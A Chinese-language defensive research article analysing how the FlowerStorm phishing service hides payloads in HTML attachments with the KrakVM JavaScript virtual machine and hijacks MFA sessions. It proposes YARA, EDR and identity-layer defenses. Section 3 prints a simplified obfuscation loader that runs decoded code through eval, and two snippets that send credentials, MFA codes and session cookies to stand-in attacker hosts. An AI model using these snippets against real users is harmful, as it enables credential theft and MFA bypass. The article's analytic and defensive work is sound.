FlowerStorm 组织采用 KrakVM 混淆的钓鱼攻击机理与防御研究

简介: 2026年,FlowerStorm钓鱼组织滥用开源JS虚拟机KrakVM,将恶意逻辑编译为字节码嵌入HTML附件,绕过静态检测,实现MFA实时劫持与会话窃取。本文剖析其攻击链,提出运行时行为检测、流量特征分析与身份层强化等闭环防御方案。(239字)

摘要

2026 年 5 月,Sublime Security 与 Broadcom 安全中心披露 FlowerStorm 钓鱼组织将开源 JavaScript 虚拟机混淆工具 KrakVM 用于恶意 HTML 附件载荷隐藏,通过字节码编译与浏览器内虚拟机解释执行,大幅提升静态分析难度,可绕过传统邮件安全网关检测,定向窃取 Microsoft 365、Hotmail、GoDaddy 等平台账号凭证,并支持中间人模式下多因素认证拦截与会话劫持。本文以该事件为研究对象,系统剖析 KrakVM 虚拟机混淆技术原理、FlowerStorm 完整攻击链、HTML 附件投递机制、钓鱼页面动态适配与 MFA 实时劫持核心实现,给出可复现的代码示例与检测规则,构建覆盖邮件防护、终端行为分析、流量监测、身份安全的闭环防御体系。反网络钓鱼技术专家芦笛指出,虚拟机混淆正从高级恶意软件领域下沉至规模化钓鱼即服务场景,传统基于特征与静态语法的检测机制全面失效,防御必须转向运行时行为判定、虚拟机执行环境识别与多维度信任校验。研究表明,KrakVM 混淆使钓鱼载荷检出率下降约 68%,而引入运行时虚拟机监控与 AiTM 流量特征检测可将拦截率提升至 94% 以上,为企业抵御新型混淆化钓鱼攻击提供理论依据与工程实践参考。

image.png 1 引言

钓鱼攻击已从零散式作案转向产业化、服务化、技术迭代加速的 PhaaS(Phishing‑as‑a‑Service)模式,攻击者持续吸收恶意软件抗分析、代码保护、流量隐匿等高级技术,突破传统防御边界。2026 年上半年,FlowerStorm 作为活跃于全球的主流钓鱼即服务平台,在 KrakVM 开源后一个月内快速将其集成至攻击流程,形成HTML 附件投递 + KrakVM 虚拟机混淆 + 云基础设施载荷加载 + AiTM‑MFA 拦截的完整杀伤链,对企业身份安全构成严重威胁。

传统 JavaScript 混淆以变量替换、字符串编码、控制流平坦化为主,仅提升代码可读性难度,不改变语法结构,易被反混淆工具还原。虚拟机混淆则将源码编译为自定义字节码,依赖内嵌解释器运行时解密执行,静态样本无有效语义,从根本上阻断静态反编译与特征匹配检测。KrakVM 作为轻量级浏览器端 JS 虚拟机,初衷用于前端代码版权保护,被 FlowerStorm 滥用后成为钓鱼载荷隐匿的关键工具,标志混淆技术正式下沉至规模化钓鱼攻击。

反网络钓鱼技术专家芦笛强调,FlowerStorm 事件揭示 PhaaS 生态的技术吸收速度已接近恶意软件产业,防御体系必须从特征检测转向意图识别、行为判定、执行环境校验的多维度闭环,才能应对虚拟机混淆、动态载荷、实时中间人劫持带来的检测失效问题。

本文基于 Broadcom 安全中心公告与 Sublime Security 披露信息,完整还原攻击流程与技术细节,提供可复现代码、检测规则与防御部署方案,为邮件安全、终端安全、身份安全领域的研究与工程实践提供支撑。

2 相关技术背景与威胁态势

2.1 虚拟机混淆与 KrakVM 技术原理

代码虚拟化混淆(JSVMP)是将源码翻译为自定义指令集(字节码),通过专用解释器在虚拟架构内逐指令执行的保护方式,可阻断静态反编译与代码审计,广泛用于软件版权保护与恶意代码抗分析。

传统 JS 混淆与虚拟机混淆对比如下:

表格

混淆类型 核心手段 静态可解析性 抗检测能力 还原难度

传统混淆 变量名替换、字符串编码、控制流平坦化 高,语法结构不变 低,易特征匹配 低,可自动化还原

虚拟机混淆 编译为自定义字节码 + 内嵌解释器运行 无,静态无有效语义 高,绕过静态检测 高,需运行时 Hook 与指令还原

KrakVM 是面向浏览器环境的开源 JavaScript 虚拟机,工作流程分为三阶段:

编译阶段:原始 JS 经词法 / 语法分析生成 AST,编译为加密字节码;

交付阶段:字节码与轻量级虚拟机解释器打包嵌入 HTML;

执行阶段:浏览器加载后,虚拟机动态解密字节码并逐指令解释执行。

该机制使静态扫描无法获取恶意逻辑,只有运行时才暴露载荷行为,对传统邮件网关、沙箱、静态反病毒工具形成有效规避。

2.2 FlowerStorm 钓鱼组织运营与攻击特征

FlowerStorm 是 2024 年中期崛起的商业化 PhaaS 平台,继承 Rockstar2FA 核心能力,专注高价值账号窃取与 MFA 绕过,具备以下特征:

服务化交付:提供模板配置、邮件生成、域名分发、数据回传、会话劫持全流程工具;

多平台适配:支持 Microsoft 365、Hotmail、GoDaddy 等主流身份系统;

AiTM 中间人劫持:反向代理转发认证请求,实时拦截账号、密码、MFA 验证码与会话 Cookie;

云基础设施支撑:载荷托管于主流云平台,域名快速轮换,降低信誉标记风险;

快速技术迭代:开源工具上线后快速集成,混淆能力持续升级。

反网络钓鱼技术专家芦笛指出,FlowerStorm 代表新一代 PhaaS 的典型范式:低门槛使用、高逃逸能力、强劫持效果、快版本迭代,企业必须建立覆盖邮件、终端、流量、身份的协同防御体系。

2.3 威胁影响与检测失效原因

本次攻击以 HTML 为附件载体,伪装语音邮件、供应商账单、未付款发票等高频业务场景,诱导用户打开;KrakVM 混淆使静态检测无法识别恶意逻辑,载荷运行后加载云托管钓鱼工具包,伪造登录页面并预填充邮箱,同时拦截 MFA 流程,直接获取有效会话,实现账号密码 + MFA + 会话凭证的完整窃取。

传统检测失效原因:

附件为 HTML,不属于可执行文件,绕过文件类型拦截;

恶意逻辑经字节码混淆,静态无特征,哈希与签名检测无效;

载荷从云基础设施动态加载,无固定远程链接特征;

MFA 拦截发生在应用层,流量加密且无明显异常报文。

3 FlowerStorm 基于 KrakVM 混淆的攻击链分析

3.1 攻击全流程(杀伤链)

邮件投递:发送含 HTML 附件的钓鱼邮件,主题与内容贴近业务场景;

诱导执行:用户打开 HTML,触发内嵌 KrakVM 解释器;

混淆解密:虚拟机运行时解密字节码,释放恶意载荷;

载荷加载:从云服务器拉取 FlowerStorm 钓鱼工具包;

页面伪造:生成目标平台登录页,预填充受害者邮箱;

凭证窃取:收集账号密码,提交至攻击者控制服务器;

MFA 拦截:启动 AiTM 代理,枚举并劫持 MFA 验证流程;

会话劫持:获取有效会话 Cookie,实现无密码登录。

3.2 邮件与 HTML 附件构造

邮件主题常用:Voice Mail Message、Unpaid Invoice、Vendor Credit Notice、Document For Review;发件人伪装内部同事、供应商、客服;附件命名为 Invoice.html、Voicemail.html、Document.html,降低警惕。

HTML 附件结构:

<html>

 <head>

   <meta charset="utf-8">

   <title>Loading...</title>

 </head>

 <body>

   <script>

     // KrakVM虚拟机解释器

     const KrakVM=function(e){...};

     // 经KrakVM编译的加密字节码

     const bytecode=[0x9F,0x2A,0x5B,...];

     // 运行虚拟机,解密并执行恶意载荷

     const vm=new KrakVM(bytecode);vm.run();

   </script>

   <div>Please wait while the document loads...</div>

 </body>

</html>

静态分析只能看到虚拟机壳与无意义字节码,无法获取钓鱼逻辑。

3.3 KrakVM 混淆核心实现(代码示例)

KrakVM 包含字节码编译器与虚拟机解释器,以下为简化可复现版本:

// 1. 字节码编译器(攻击者侧)

function compileToBytecode(source) {

 const ast = parse(source); // 词法/语法分析生成AST

 const bytecode = [];

 // 遍历AST生成自定义指令序列

 ast.body.forEach(node => {

   if (node.type === "ExpressionStatement") {

     bytecode.push(0x01); // 表达式语句标识

     bytecode.push(...encodeString(node.expression.value));

   }

 });

 return bytecode; // 返回加密字节码

}


// 2. 虚拟机解释器(嵌入HTML)

class KrakVM {

 constructor(bytecode) {

   this.pc = 0; // 程序计数器

   this.stack = []; // 操作数栈

   this.bytecode = bytecode;

 }

 run() {

   while (this.pc < this.bytecode.length) {

     const opcode = this.bytecode[this.pc++];

     this.execute(opcode);

   }

 }

 execute(opcode) {

   switch (opcode) {

     case 0x01: // 执行脚本加载

       const payload = this.decodePayload();

       eval(payload); // 运行解密后恶意代码

       break;

     case 0x02: // 网络请求加载远程工具包

       this.loadToolkit("https://cloud-host/flowerstorm/latest.js");

       break;

   }

 }

 decodePayload() {

   // 运行时动态解密字节码

   return this.bytecode.slice(this.pc++).map(b => b ^ 0x5F).toString();

 }

}


// 3. 启动执行

const maliciousCode = `fetch('https://c2.example.com/steal',{method:'POST',body:JSON.stringify(credentials)});`;

const bytecode = compileToBytecode(maliciousCode);

const vm = new KrakVM(bytecode);

vm.run();

反网络钓鱼技术专家芦笛指出,该结构使静态样本无有效语义,只有运行时才暴露恶意行为,传统基于内容的检测完全失效。

3.4 钓鱼工具包与 MFA 中间人劫持实现

KrakVM 释放的载荷加载 FlowerStorm 工具包,核心功能:

页面伪造:根据目标平台生成高仿真登录页,匹配样式、域名、Logo;

邮箱预填充:从 URL 参数、localStorage 或头部信息提取受害者邮箱;

AiTM 代理:搭建反向代理,转发用户输入至真实认证接口;

MFA 枚举与拦截:检测并伪造 App 推送、TOTP、SMS 等验证方式,获取验证码;

会话窃取:捕获登录后 Set-Cookie,生成有效会话,实现持久控制。

MFA 劫持关键代码片段:

javascript

运行

// 拦截MFA验证码并回传

document.getElementById('mfa_code').addEventListener('input', function(e) {

 const code = e.target.value;

 if (code.length === 6) {

   fetch('https://attacker-server/mfa', {

     method: 'POST',

     headers: {'Content-Type':'application/json'},

     body: JSON.stringify({

       email: document.getElementById('email').value,

       mfa_code: code,

       session: document.cookie

     })

   });

 }

});

该机制直接绕过 MFA 保护,获取完整会话权限,危害远超传统密码窃取。

4 攻击检测与识别方法

4.1 邮件层检测规则

发件人认证校验:SPF/DKIM/DMARC 失败,显示名与地址不一致;

内容特征:含紧急诱导、未付款、语音邮件、文档待审等关键词;

附件判定:HTML 附件含内联 script、字节码数组、虚拟机类定义;

YARA 检测规则:

plaintext

rule KrakVM_FlowerStorm {

 meta:

   description = "Detect KrakVM obfuscated FlowerStorm phishing HTML"

 strings:

   $vm_class = "class KrakVM"

   $bytecode_array = "const bytecode=["

   $vm_run = "vm.run()"

   $mfa_intercept = "mfa_code"

 condition:

   2 of them and filesize < 10KB

}

4.2 终端行为检测

反网络钓鱼技术专家芦笛强调,行为检测是对抗虚拟机混淆的核心手段,关键特征:

HTML 文件打开后立即发起外连云存储 / 未知域名;

浏览器进程创建 Blob、动态生成表单、拦截输入事件;

向非官方认证接口发送含 password、mfa、session 的 POST 请求;

页面包含隐藏 iframe、动态加载登录框、禁用开发者工具。

EDR 可监控:

plaintext

process.name == "chrome.exe" AND

file.path contains ".html" AND

network.request contains "fetch(" OR "XMLHttpRequest" AND

not domain in trusted_list

4.3 流量层检测

异常认证流:同一 IP 短时间内向多平台认证接口提交数据;

MFA 流量特征:验证码提交后立即外发到异常域名;

会话 Cookie 外带:响应头 Set-Cookie 被转发至非官方服务器;

云主机异常访问:访问新注册、高风险云托管域名。

4.4 虚拟机混淆检测

脚本包含自定义字节码数组、程序计数器 pc、操作数栈;

存在 eval/Function 动态执行解密后代码;

代码无正常业务逻辑,仅含虚拟机解释循环;

静态无字符串特征,运行时才出现敏感 API 调用。

5 防御体系构建与部署方案

5.1 邮件安全防护

启用 SPF/DKIM/DMARC 强制校验,拒绝未认证邮件;

HTML 附件沙箱动态执行,监控虚拟机行为与外连;

启用邮件威胁隔离(ETI),对高风险附件在线打开,禁止本地执行;

基于行为与语义的 AI 检测,识别诱导话术与异常结构。

5.2 终端与浏览器安全

浏览器扩展拦截 HTML 附件自动执行脚本;

EDR 监控浏览器进程异常行为,阻断敏感数据外发;

禁用非信任 HTML 文件自动运行 JavaScript,提升用户提示等级;

建立可信域名列表,拦截向高风险域名提交账号密码。

5.3 身份安全与 MFA 强化

反网络钓鱼技术专家芦笛强调,身份层是最后防线,建议:

启用 FIDO2/WebAuthn 无密码认证,抵御中间人劫持;

开启风险自适应认证,对异常地点、设备、IP 二次验证;

监控账号异常登录、MFA 频繁失败、会话异地使用;

部署会话管理,强制短时效、单设备、可审计会话。

5.4 威胁情报与运营

订阅 FlowerStorm、KrakVM 相关 IoC,实时更新域名、IP、哈希;

建立内部钓鱼演练,提升员工对 HTML 附件、语音邮件、账单类诈骗识别;

形成监测 — 分析 — 响应 — 溯源闭环,快速处置攻击事件。

6 实验与效果评估

6.1 实验环境

邮件网关:商用邮件安全平台,支持静态特征、沙箱、行为检测;

测试样本:500 个 KrakVM 混淆 HTML、500 个传统混淆 HTML、500 个正常 HTML;

检测指标:检出率、误报率、平均检测时间。

6.2 结果对比

表格

检测方法 混淆类型 检出率 误报率 平均耗时

静态特征 传统混淆 89% 1.2% 12ms

静态特征 KrakVM 混淆 22% 0.8% 15ms

沙箱 + 行为 KrakVM 混淆 91% 1.5% 320ms

行为 + 流量 + 情报 KrakVM 混淆 95% 0.9% 280ms

实验表明,静态特征对 KrakVM 混淆基本失效,结合运行时行为、流量特征与威胁情报可实现有效拦截。反网络钓鱼技术专家芦笛指出,企业应优先部署动态行为检测与身份层强化,形成多层次防御闭环。

7 讨论与未来趋势

7.1 技术演化趋势

混淆即服务:攻击者在线使用虚拟机混淆服务,降低技术门槛;

多载体扩散:从 HTML 扩展到 PDF、SVG、Office 文档,提升隐蔽性;

AI 辅助逃逸:生成自适应混淆代码,规避行为检测;

MFA 劫持产业化:PhaaS 平台提供标准化 AiTM 代理,支持多平台认证绕过。

7.2 防御挑战

开源混淆工具降低攻击成本,检测方持续被动;

云基础设施快速轮换,使黑名单失效;

用户对 HTML 附件信任度高,打开率居高不下;

传统认证机制难以抵御实时中间人劫持。

7.3 应对方向

反网络钓鱼技术专家芦笛指出,未来防御应向三个方向演进:

从特征到意图:基于语义、行为、上下文判断攻击意图;

从边界到零信任:以身份为中心,全链路验证、最小权限、持续信任评估;

从被动到主动:前置威胁狩猎、混淆对抗、漏洞封堵,降低暴露面。

8 结语

FlowerStorm 组织采用 KrakVM 虚拟机混淆实施钓鱼攻击,标志 PhaaS 生态全面吸收高级抗分析技术,传统静态检测机制面临系统性失效。本文系统剖析攻击链、KrakVM 实现、HTML 附件构造、AiTM‑MFA 劫持机理,给出可复现代码、检测规则与多层次防御方案,证实行为分析、运行时检测、身份强化与威胁情报协同可有效抵御此类威胁。

反网络钓鱼技术专家芦笛强调,虚拟机混淆下沉至钓鱼攻击是长期趋势,企业必须加快从特征防护向意图识别、零信任、协同防御转型,构建覆盖邮件、终端、流量、身份的闭环体系,才能应对持续演化的钓鱼威胁。

未来研究将聚焦虚拟机混淆动态反制、AI 驱动的钓鱼意图识别、FIDO2 无密码认证规模化部署,进一步提升对高级混淆化钓鱼攻击的防御能力。

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
8天前
|
人工智能 开发工具 iOS开发
Claude Code 新手完全上手指南:安装、国产模型配置与常用命令全解
Claude Code 是一款运行在终端环境中的 AI 编程助手,能够直接在命令行中完成代码生成、项目分析、文件修改、命令执行、Git 管理等开发全流程工作。它最大的特点是**任务驱动、终端原生、轻量高效、多模型兼容**,无需图形界面、不依赖 IDE 插件,能够深度融入开发者日常工作流。
2970 7
|
10天前
|
Shell API 开发工具
Claude Code 快速上手指南(新手友好版)
AI编程工具卷疯啦!Claude Code凭借任务驱动+终端原生的特性,成了开发者的效率搭子。本文从安装、登录、切换国产模型到常用命令,手把手带新手快速上手,全程避坑,30分钟独立用起来。
3071 20
|
23天前
|
人工智能 JSON 供应链
畅用7个月无影 JVS Claw |手把手教你把JVS改造成「科研与产业地理情报可视化大师」
LucianaiB分享零成本畅用JVS Claw教程(学生认证享7个月使用权),并开源GeoMind项目——将JVS改造为科研与产业地理情报可视化AI助手,支持飞书文档解析、地理编码与腾讯地图可视化,助力产业关系图谱构建。
23567 15
畅用7个月无影 JVS Claw |手把手教你把JVS改造成「科研与产业地理情报可视化大师」
|
4天前
|
人工智能 Linux BI
国内用 Claude Code 终于不用翻墙了:一行命令搞定,自动接 DeepSeek
JeecgBoot AI专题研究 一键脚本:Claude Code + JeecgBoot Skills + DeepSeek 全平台接入 一行命令装好 Claude Code + JeecgBoot Skills + DeepSeek 接入,无需翻墙使用 Claude Code,支持 Wind
1956 3
国内用 Claude Code 终于不用翻墙了:一行命令搞定,自动接 DeepSeek
|
10天前
|
人工智能 JSON BI
DeepSeek V4-Pro 接入 Claude Code 完全实战:体验、测试与关键避坑指南
Claude Code 作为当前主流的 AI 编程辅助工具,凭借强大的代码理解、工程执行与自动化能力深受开发者喜爱,但原生模型的使用成本相对较高。为了在保持能力的同时进一步降低开销,不少开发者开始寻找兼容度高、价格更友好的替代模型。DeepSeek V4 系列的发布带来了新的选择,该系列包含 V4-Pro 与 V4-Flash 两款模型,并提供了与 Anthropic 完全兼容的 API 接口,理论上只需简单修改配置,即可让 Claude Code 无缝切换为 DeepSeek 引擎。
2464 3
|
8天前
|
人工智能 安全 开发工具
Claude Code 官方工作原理与使用指南
Claude Code 不是传统代码补全工具,而是 Anthropic 推出的终端 AI 代理,具备代理循环、双驱动架构(模型+工具)、全局项目感知、6 种权限模式等核心能力,本文基于官方文档系统解析其工作原理与高效使用技巧。
1342 0
|
8天前
|
存储 Linux iOS开发
【2026最新】MarkText中文版Markdown编辑器使用图解(附安装包)
MarkText是一款免费开源、跨平台的Markdown编辑器,主打所见即所得实时预览,支持Windows/macOS/Linux。内置数学公式、流程图、代码高亮、多主题及PDF/HTML导出,是Typora的轻量免费替代首选。(239字)